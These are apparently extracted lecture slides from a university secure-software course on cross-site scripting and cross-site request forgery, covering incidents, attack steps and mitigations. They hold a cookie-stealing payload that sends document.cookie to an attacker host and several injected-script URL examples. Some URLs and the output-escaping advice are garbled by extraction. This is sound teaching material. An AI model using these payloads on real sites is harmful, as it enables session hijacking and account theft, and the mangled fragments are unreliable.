Cross-Site Attacks James Walden Northern Kentucky University

CSC 666: Secure Software Engineering Cross-Site Attacks Target users of application.  Use application feature to reach other users of application.  Clients are less well defended than servers.  Obtain assets of individual users rather than assets of entire application. Most common type of attack.  Cross-Site Scripting (XSS)  Cross-Site Request Forgery (CSRF)

CSC 666: Secure Software Engineering Cross-Site Scripting (XSS)  Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing.  Impact of XSS  Account hijacking.  Browser hijacking (malware hosting.)  Information leakage (stored form values, etc.)  Virtual defacement.

CSC 666: Secure Software Engineering XSS Examples MySpace worm (October 2005)  When someone viewed Samy’s profile: -Set him as friend of viewer. -Incorporated code in viewer’s profile. Paypal (2006)  XSS redirect used to steal money from Paypal users in a phishing scam. BBC, CBS (2006)  By following XSS link from securitylab.ru, you could read an apparently valid story on the BBC or CBS site claiming that Bush appointed a 9-year old as head of the Information Security department.

CSC 666: Secure Software Engineering XSS Key Steps 1.Attacker sends code to web application. 2.Legitimate user accesses web app. 3.Web app sends attacker code to user. 4.User’s browser executes code.

CSC 666: Secure Software Engineering XSS Example Client browser sends an error message to the web server. Sorry%2C+an +error+occurred

CSC 666: Secure Software Engineering XSS Example The error message is “Reflected” back from the Web server to the client in a web page.

CSC 666: Secure Software Engineering XSS Example We can replace the error with JavaScript alert(‘xss’);

CSC 666: Secure Software Engineering Exploiting the Example 1.User logins in and is issued a cookie 2.Attacker feed the URL to user var+i=new+Image;+i.src=“ cker.com/”%2bdocument.cookie;

CSC 666: Secure Software Engineering Why does XSS Work? Same-Origin Policy  Browser only allows Javascript from site X to access cookies and other data from site X.  Attacker needs to make attack come from site X. Vulnerable Server Program  Any program that returns user input without filtering out dangerous code.

CSC 666: Secure Software Engineering Reflected XSS  Attack Scenario  User clicks on link.  Injected script returned by one-time message from vulnerable site.  User browser executes injected code.  Limitations  Non-persistent. Only works when user clicks.  Most common type of XSS (~75%).

CSC 666: Secure Software Engineering Anatomy of an XSS Attack 1. Login 2. Cookie Web Server 3. XSS Attack Attacker User 4. User clicks on XSS link. 5. XSS URL 7. Browser runs injected code. Evil site saves ID. 8. Attacker hijacks user session. 6. Page with injected code.

CSC 666: Secure Software Engineering XSS URL Examples ttp:// "> alert(document.cookie) ge2.html?tw= alert(‘Test’); alert( document.cookie) &frompage=4&page=1&ct=VVT V&mh=0&sh=0&RN=1 h_exe?search_text=_%22%3E%3Cscript%3Ealert%28docum ent.cookie%29%3C%2Fscript%3E

CSC 666: Secure Software Engineering Stored XSS  Injected script stored in  Post or comment.  Review.  Uploaded file.  User views page with injected script.  Malicious action is taken while user is logged into site where malware found.  Not technically cross-site.  Attack persists until injected code deleted.

CSC 666: Secure Software Engineering DOM-based XSS Attack scenario  User clicks on URL with crafted Javascript.  Application’s client code extracts data from URL and dynamically updates page with it.  User browser executes crafted Javascript that was inserted in the page. Exploits vulnerability in client code.  Server does not reflect or store evil Javascript.

CSC 666: Secure Software Engineering Mitigating XSS 1.Disallow HTML input 2.Allow only safe HTML tags 3.Filter output Replace HTML special characters in output ex: replace with > also replace (, ), #, & 4.Tagged cookies Include IP address in cookie and only allow access to original IP address that cookie was created for.

CSC 666: Secure Software Engineering Cross-Site Request Forgery A confused deputy attack.  Exploits trust that application has with authentication sessions. Attack scenario:  User authenticates to web application.  User browses to another site containing a malicious CSRF attack link to web app. -iframe, img, link, bgsound, etc.  Browser accesses web app with cached credentials, performing whatever action specified by the link.

CSC 666: Secure Software Engineering Why is the Application Fooled?  Browser sends same GET request if  User submits form.  Browser fetches iframe or img src, etc.  Browser sends cookies with any GET request to appropriate domain + path.  Same origin policy applies to frames, XHRs, but not to HTML tags.

CSC 666: Secure Software Engineering Example: DSL Modem Attack  Home network devs administered via web apps.  Standard local IPs.  Attacker inserts 1-pixel img tag on page.  src is URL of form submission, giving remote admin.  No password needed.  Software owner assumed device on trusted local network.  Of course, browser is on the local network too.

CSC 666: Secure Software Engineering Mitigating CSRF Require POST for data modifications, but  Many frameworks automatically fetch both types of parameters or convert one to other.  Hidden POST requests can be created with scripts. Check referer header.  But users can block or forge referer header, so it cannot be relied on for everyone. Use nonces.  Random token inserted as hidden parameter, and thus submitted with form.  But XSS can read form, so a combined XSS + CSRF attack can bypass this defense.

CSC 666: Secure Software Engineering Mitigating CSRF Re-authenticate for high value transactions.  Use out of band authentication if possible. Expire session IDs quickly.  But there will always be some time period in which a CSRF attack will work. Automate defenses with tools.  CSRFGuard to insert nonces.  CSRFTester to verify application.

CSC 666: Secure Software Engineering References 1.Brian Chess and Jacob West, Secure Programming with Static Analysis, Addison-Wesley, Seth Fogie et. al., XSS Attacks: Cross-Site Scripting Exploits and Defense, Syngress, Michael Howard, David LeBlanc, and John Viega, 19 Deadly Sins of Software Security, McGraw-Hill Osborne, Nathan, vulns-on-local-network-devices/, vulns-on-local-network-devices/ 5.PCI Security Standards Council, PCI DSS Requirements and Security Assessment Procedures, v1.2, Dafydd Stuttart and Marcus Pinto, The Web Application Hacker’s Handbook, Wiley, 2008.